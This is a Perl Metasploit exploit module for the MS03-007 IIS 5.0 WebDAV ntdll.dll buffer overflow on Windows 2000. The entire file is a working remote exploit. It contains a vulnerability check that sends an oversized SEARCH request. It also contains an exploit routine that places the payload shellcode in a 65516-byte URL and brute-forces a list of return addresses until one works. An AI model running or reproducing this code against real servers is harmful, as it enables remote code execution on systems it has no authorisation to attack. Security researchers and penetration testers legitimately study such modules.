package Msf::Exploit::iis50_webdav_ntdll;
use base "Msf::Exploit";
use strict;

my $advanced = { };

my $info =
{
    'Name'  => 'IIS 5.0 WebDAV ntdll.dll Overflow',
    'Version'  => '$Revision: 1.23 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com> [Artistic License]', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32' ],
    'Priv'  => 0,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 80],
                    'SSL'   => [0, 'BOOL', 'Use SSL'],
                },

    'Payload' => {
                 'Space'  => 512,
                 'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                 },
    
    'Description'  => qw{
        This exploits a buffer overflow in NTDLL.dll on Windows 2000
        through the SEARCH WebDAV method in IIS. This particular
        module only works against Windows 2000. It should have a
        reasonable chance of success against any service pack.    
    },
    
    'Refs'  =>  [  
                    'http://www.osvdb.org/4467',
                    'http://www.microsoft.com/technet/security/bulletin/MS03-007.mspx',
		            'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109'
                ],
    'DefaultTarget' => 0,
    'Targets' => [
                   ['Windows 2000 Brute Force']
                 ],
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $s = Msf::Socket->new( {"SSL" => $self->GetVar("SSL")} );
 
    if (! $s->Tcp($target_host, $target_port))
    {
        $self->PrintLine("[*] Could not connect: " . $s->GetError());
        return(0);
    }
    
    my $request;
    my $content;
    
    my $url = "x" x 65535;
    
    $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
    $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
    $request .= "Content-Type: text/xml\r\n";

    $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
    $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";

    $request .= "Content-Length: " . length($content) . "\r\n";
    $request .= "\r\n$content";
    
    $s->Send($request);
    my $res = $s->Recv(-1, 5);
    $s->Close();
    
    if ($res =~ /Server Error\(exception/)
    {
        $self->PrintLine("[*] Server appears to be vulnerable");
        return(1);        
    }

    if (! $s->Tcp($target_host, $target_port))
    {
        $self->PrintLine("[*] Server appears to be vulnerable");
        return(1);
    }    
    $s->Close();
    
    $self->PrintLine("[*] Server does not appear to be vulnerable");
    return(0);   
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $use_ssl     = $self->GetVar('SSL');
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;

    my @targets =
    (
        # Almost Targetted :)
        "\x4f\x4e", # =SP3
        "\x41\x42", # ~SP0  ~SP2
        "\x41\x43", # ~SP1, ~SP2
        
        # Generic Brute Force
        "\x41\xc1", 
        "\x41\xc3",
        "\x41\xc9",
        "\x41\xca",
        "\x41\xcb",
        "\x41\xcc",
        "\x41\xcd",
        "\x41\xce",
        "\x41\xcf",                 
        "\x41\xd0",         
    );

    foreach my $ret (@targets)
    {
        my $url = ("A" x 65516);
        my $s = $self->PollWebServer();
        exit(0) if ! $s;

        $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", 
                unpack("V", substr($ret,0,1) . "\x00".
                            substr($ret,1,1) . "\x00"
                      )
               ));
        
        substr($url, length($url) - length($shellcode), length($shellcode), $shellcode);
        substr($url, 283, 2, $ret );

        my ($request, $content);
        
        $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
        $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
        $request .= "Content-Type: text/xml\r\n";

        $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
        $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";

        $request .= "Content-Length: " . length($content) . "\r\n";
        $request .= "\r\n$content";

        $self->PrintLine("[*] Sending request (" . length($request) . " bytes)");
        $self->PrintLine("");
        $s->Send($request);
        
        my $r = $s->Recv(-1, 5);
        sleep(2);
        $s->Close();
    }
    return;
}


sub PollWebServer {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    $self->Print("[*] Connecting to web server");
    for (1 .. 20)
    {
        $self->Print(".");
        my $s = Msf::Socket->new({"SSL" => $self->GetVar('SSL')});
        if ($s->Tcp($target_host, $target_port))
        {
            $self->PrintLine(" OK");
            return($s) 
        }
        
        sleep(2);
        $s->Close();
    }
    
    $self->PrintLine("");
    $self->PrintLine("[*] Giving up on the web server");
    return;
}